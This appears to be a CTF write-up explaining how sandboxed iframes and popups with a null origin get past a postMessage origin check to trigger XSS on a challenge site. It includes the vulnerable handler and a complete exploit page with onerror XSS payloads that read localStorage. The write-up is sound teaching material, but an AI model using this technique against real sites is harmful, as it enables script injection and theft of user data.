Bypassing SOP with Iframes - 1

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Iframes in SOP-1

In this challenge created by NDevTK and Terjanq you need you need to exploit a XSS in the coded

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
  const data = e.data;
  if (e.origin !== window.origin && data.identifier !== identifier) return;
  if (data.type === 'render') {
    renderContainer.innerHTML = data.body;
  }
}

The main problem is that the main page uses DomPurify to send the data.body, so in order to send your own html data to that code you need to bypass e.origin !== window.origin.

Let's see the solution they propose.

SOP bypass 1 (e.origin === null)

When //example.org is embedded into a sandboxed iframe, then the page's origin will be null, i.e. window.origin === null. So just by embedding the iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> we could force the null origin.

If the page was embeddable you could bypass that protection that way (cookies might also need to be set to SameSite=None).

SOP bypass 2 (window.origin === null)

The lesser known fact is that when the sandbox value allow-popups is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox is set. So, opening a popup from a null origin will make window.origin inside the popup also null.

Challenge Solution

Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (/iframe.php), as window.origin === e.origin because both are null it's possible to send a payload that will exploit the XSS.

That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable /iframe.php. Because the identifier is known, it doesn't matter that the condition window.origin === e.origin is not satisfied (remember, the origin is the popup from the iframe which has origin null) because data.identifier === identifier. Then, the XSS will trigger again, this time in the correct origin.

<body>
  <script>
    f = document.createElement('iframe');
    
    // Needed flags
    f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
    
    // Second communication with /iframe.php (this is the top page relocated)
    // This will execute the alert in the correct origin
    const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
      x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
    },1000);`.replaceAll('\n',' ');
   
   // Initial communication
   // Open /iframe.php in a popup, both iframes and popup will have "null" as origin
   // Then, bypass window.origin === e.origin to steal the identifier and communicate
   // with the top with the second XSS payload
    f.srcdoc = `
    <h1>Click me!</h1>
    <script>
      onclick = e => {
        let w = open('https://so-xss.terjanq.me/iframe.php');
        onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
        setTimeout(_ => {
          w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
        }, 1000);
      };
    <\/script>
    `
    document.body.appendChild(f);
  </script>
</body>
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Last updated